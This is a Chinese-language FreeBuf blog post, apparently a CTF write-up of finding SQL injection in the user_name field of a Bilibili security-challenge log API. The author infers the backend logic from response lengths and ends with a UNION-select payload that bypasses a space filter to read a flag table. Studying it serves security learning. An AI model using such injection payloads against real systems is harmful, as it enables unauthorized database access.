freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

记一次sql注入
2021-10-25 22:06:38

记一次sql注入

题目环境:https://security.bilibili.com/sec1024/q/#/user/list

有两个与后台交互的接口

两个接口都测试了sql注入

这里主要讲下怎么发现的sql注入,个人觉得还是比较难测出来(我比较菜)

sql注入接口是在/sec1024/q/admin/api/v1/log/list

测试user_id

正常发出数据包,没有返回数据

猜测可能跟action参数有关,将action值删除

修改user_id值为一个不存在的数据,说明语句查询为空时,响应包长度为57

通过post数据

{"user_id":"1aaa","user_name":"","action":"","page":1,"size":20}{"user_id":"2-1","user_name":"","action":"","page":1,"size":20}{"user_id":"1'","user_name":"","action":"","page":1,"size":20}

返回长度为57说明user_id不存在sql注入.

测试user_name

在之前的数据包基础上给user_name=1,返回参数错误(unicode编码)

将user_id值删去,发现返回数据为空的数据包长度

加个单引号测试发现数据包长度返回55,说明可能sql有戏,继续测试

{"user_id":"","user_name":"1'#","action":"","page":1,"size":20}返回数据包长度为55

{"user_id":"","user_name":"1#","action":"","page":1,"size":20}返回数据包长度为57

然后通过之上的的几个数据包,我就推测:

当语句执行错误时就返回数据包长度为55

语句正常执行时返回数据包长度为57

爆列数

返回数据包长度为55,推测语句报错了

猜测有过滤,尝试替换空格,返回数据包长度为57,说明语句正确执行

此时爆出了提示参数错误这时我就懵逼了,按照之前的思路如果语句报错,应该是返回长度为55的数据包。

这时重新进行测试

通过这三个数据包总算搞懂了后台逻辑,首先user_name是个数字型注入(跟name挂钩了,按理说应该是字符型),这是万万没想到的。user_name的值传进去,先检测有没有关键字,如果有关键字,就直接返回长度为55的数据包,如果没有则执行sql语句,如果sql语句执行成功,则返回长度为57的数据包,如果sql语句执行错误,则返回参数错误的提示

接下来就是普通的联合注入了

直接给payload吧

{"user_id":"","user_name":"1/**/union/**/select/**/1,(select/**/group_concat(id)from/**/flag),user(),4,5#","action":"","page":1,"size":20}

# web安全 # 漏洞分析 # CTF
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
  • 0 文章数
  • 0 关注者